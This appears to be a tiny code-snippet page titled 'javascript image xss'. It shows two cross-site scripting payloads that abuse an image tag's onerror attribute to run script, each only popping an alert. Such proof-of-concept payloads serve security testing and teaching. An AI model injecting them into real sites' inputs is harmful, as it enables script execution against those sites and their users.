<img src onerror="alert('xss')"> code example Example: javascript image xss <img src='#' onerror=alert(1) />